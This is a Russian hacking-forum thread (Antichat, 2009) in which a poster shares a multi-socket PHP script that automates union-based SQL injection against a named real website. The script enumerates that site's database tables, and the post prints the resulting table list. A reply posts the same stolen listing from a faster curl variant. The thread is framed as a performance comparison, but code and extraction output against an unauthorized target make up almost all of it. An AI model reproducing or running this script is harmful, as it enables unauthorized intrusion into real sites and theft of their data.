ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

php fsockopen multithread + SQL-injection
  #1  
Старый 31.08.2009, 03:55
Аватар для Pashkela
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию php fsockopen multithread + SQL-injection

Нарыл в интернете один скрипт интересный, в принципе переделал некоторые существенные детали и приспособил под некоторые нужды. Ниже будет приведен пример использования наверное всё-таки псевдомультипоточности в PHP на примерe sql-inj, если точнее, получение списка таблиц из informations_schema.tables в количестве 64 штук на примере одной sql-инъекции из наших sql-инъекций.

Скрипт работает значительно быстрее, нежели просто через fscockopen в цикле, насколько быстрее и быстрее ли curl_multi_init - не проверял. Протестен на WIN XP SP2 на denwer (время работы 13 сек) и в bamcompile1.21 (время работы 14), все 64 таблички выявил и записал в файлик за 13 секунд (лучший результат), т.е 64 запроса за 13 секунд ~ 4,92 запросов в секунду - на моей в принципе уже древней тачке и инете 4 мбит/сек:

PHP код:
<?php
function getmicrotime()  
{  
    list(
$usec$sec) = explode(" "microtime());  
    return ((float)
$usec + (float)$sec);  
}  
$bb fopen('123.txt','w'); 
// Создаем массив с ссылками (пример простой, нам заранее известно, что в данной БД 64 таблицы, демонстрация работы)
for ($z 0;$z<64;$z++) {
  
$links_array[] = "rockgallery/index.php?id=-8+union+select+1,2,3,CONCAT(0x3c73716c3e,table_name,0x3c2f73716c3e),5,6+from+information_schema.tables+limit+"$z ",1--";
}  
$host='artecapital.net'// наш хост
$max_threads 50// максимальное количество потоков
$threads = array(); // тут будем держать открытые потоки
$a "";
$socket_timeout 3600
$done false;
reset($links_array);
$start getmicrotime();
while(!
$done) {
    
// если количество запущенных потоков меньше максимального
    
if(count($threads) < $max_threads)    {
        
// получаем очередную ссылку
        
if($link=current($links_array)) {
            
// открываем сокет и формируем заголовок
            
$socket fsockopen($host80);
            
$url="http://".$host "/" $link;
            
fputs($socket"GET $url \r\n");
            
fputs($socket"Host: $host\r\n");
            
fputs($socket"\r\n");
            
stream_set_blocking($socket0);
            
stream_set_timeout($socket$socket_timeout);
            
// запоминаем запущенный сокет
            
$threads[] = $socket;
            
// переходим к следующей ссылке
            
next($links_array);
        }
    }
    foreach (
$threads as $key=>$socket) {
          if(
feof($socket)) {
                
// если поток отработал, убираем его
                
$a "";
                
fclose($socket);
                unset(
$threads[$key]);
          } else {
              
$a.= fgets($socket,4096);
              if (
preg_match("#<[\s]*sql[\s]*>([^<]*)<[\s]*/sql[\s]*>#i",$a,$res)) {
                 
$i++;
           
fwrite ($bb,$i ":" $res[1] . "\r\n");
           
//echo $res[1] . "\n";
           
$a "";
           
fclose($socket);
                 unset(
$threads[$key]);
        }
      }
    }
    
// Тут типо пауза, если вдруг понадобится
    //sleep(1);
    
if (count($threads) == 0$done true;
}
$end getmicrotime(); 
fwrite($bb"--------------------------------------\r\n");
fwrite($bb"Time start: " date('H:i:s',$start)."\r\n");  
fwrite($bb"Time end: "date('H:i:s',$end)."\r\n");  
$w round(($end $start),0);  
fwrite($bb"Execute time: ".gmdate('H:i:s',$w));  
fclose ($bb);
echo 
"Done, saved in 123.txt";
?>
Результат работы скрипта:

Код:
1:CHARACTER_SETS
2:COLLATIONS
3:COLLATION_CHARACTER_SET_APPLICABILITY
4:COLUMNS
5:COLUMN_PRIVILEGES
6:KEY_COLUMN_USAGE
7:PROFILING
8:ROUTINES
9:SCHEMATA
10:SCHEMA_PRIVILEGES
11:STATISTICS
12:TABLES
13:TABLE_CONSTRAINTS
14:TABLE_PRIVILEGES
15:TRIGGERS
16:USER_PRIVILEGES
17:VIEWS
18:art_actividades
19:art_actividades_tipos
20:art_arq_des
21:art_arq_des_imgs
22:art_artistas
23:art_banners
24:art_cidades
25:art_criticas
26:art_criticas_imgs
27:art_dados
28:art_dados_imgs
29:art_destaques
30:art_entrevistas
31:art_entrevistas_imgs
32:art_estado_arte
33:art_estado_arte_imgs
34:art_estatisticas
35:art_estatisticas_tipos
36:art_eventos
37:art_eventos_tipos
38:art_exposicoes
39:art_fotografia
40:art_fotografia_imgs
41:art_locais
42:art_locais_tipos
43:art_moda
44:art_moda_imgs
45:art_newsletter_rec
46:art_newsletter_sub
47:art_noticias
48:art_opinioes
49:art_opinioes_imgs
50:art_paises
51:art_perspectivas
52:art_perspectivas_imgs
53:art_plataforma
54:art_plataforma_imgs
55:art_pub_entidades
56:art_pub_not_imgs
57:art_pub_noticias
58:art_recomendacoes
59:art_recomendacoes_eventos
60:art_recomendacoes_eventos_imgs
61:art_recomendacoes_imgs
62:art_rockgallery
63:art_rockgallery_imgs
64:art_utilizadores
--------------------------------------
Time start: 03:31:17
Time end: 03:31:30
Execute time: 00:00:13
просьба сравнить с ЛЮБЫМИ другими аналогами реализации многопоточности на php и поделиться результатами. Ну и ваша, несомненно полезная, критика, приветствуется.

PS: Нагрузка на систему и потребление памяти на WIN XP SP2 вообще не заметно практически
 
Ответить с цитированием

  #2  
Старый 31.08.2009, 14:01
Аватар для FriLL
FriLL
Познающий
Регистрация: 14.09.2008
Сообщений: 30
Провел на форуме:
117615

Репутация: 21
По умолчанию

Проверил на локалке, довольно неплохо
 
Ответить с цитированием

  #3  
Старый 31.08.2009, 14:11
Аватар для wildshaman
wildshaman
Постоянный
Регистрация: 16.04.2008
Сообщений: 889
Провел на форуме:
12942062

Репутация: 1550


Отправить сообщение для wildshaman с помощью ICQ
По умолчанию

2 мегабита, класс с curl_multi_init:
Цитата:
1:CHARACTER_SETS
2:COLLATIONS
3:COLLATION_CHARACTER_SET_APPLICABILITY
4:COLUMNS
5:COLUMN_PRIVILEGES
6:KEY_COLUMN_USAGE
7:PROFILING
8:ROUTINES
9:SCHEMATA
10:SCHEMA_PRIVILEGES
11:STATISTICS
12:TABLES
13:TABLE_CONSTRAINTS
14:TABLE_PRIVILEGES
15:TRIGGERS
16:USER_PRIVILEGES
17:VIEWS
18:art_actividades
19:art_actividades_tipos
20:art_arq_des
21:art_arq_des_imgs
22:art_artistas
23:art_banners
24:art_cidades
25:art_criticas
26:art_criticas_imgs
27:art_dados
28:art_dados_imgs
29:art_destaques
30:art_entrevistas
31:art_entrevistas_imgs
32:art_estado_arte
33:art_estado_arte_imgs
34:art_estatisticas
35:art_estatisticas_tipos
36:art_eventos
37:art_eventos_tipos
38:art_exposicoes
39:art_fotografia
40:art_fotografia_imgs
41:art_locais
42:art_locais_tipos
43:art_moda
44:art_moda_imgs
45:art_newsletter_rec
46:art_newsletter_sub
47:art_noticias
48:art_opinioes
49:art_opinioes_imgs
50:art_paises
51:art_perspectivas
52:art_perspectivas_imgs
53:art_plataforma
54:art_plataforma_imgs
55:art_pub_entidades
56:art_pub_not_imgs
57:art_pub_noticias
58:art_recomendacoes
59:art_recomendacoes_eventos
60:art_recomendacoes_eventos_imgs
61:art_recomendacoes_imgs
62:art_rockgallery
63:art_rockgallery_imgs
64:art_utilizadores
общее время работы скрипта: 8.0584
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Защищаем Php. Шаг за шагом. k00p3r Чужие Статьи 0 13.06.2005 11:31
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
SQL Injection для чайников, взлом ASP+MSSQL k00p3r Чужие Статьи 0 12.06.2005 12:42
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ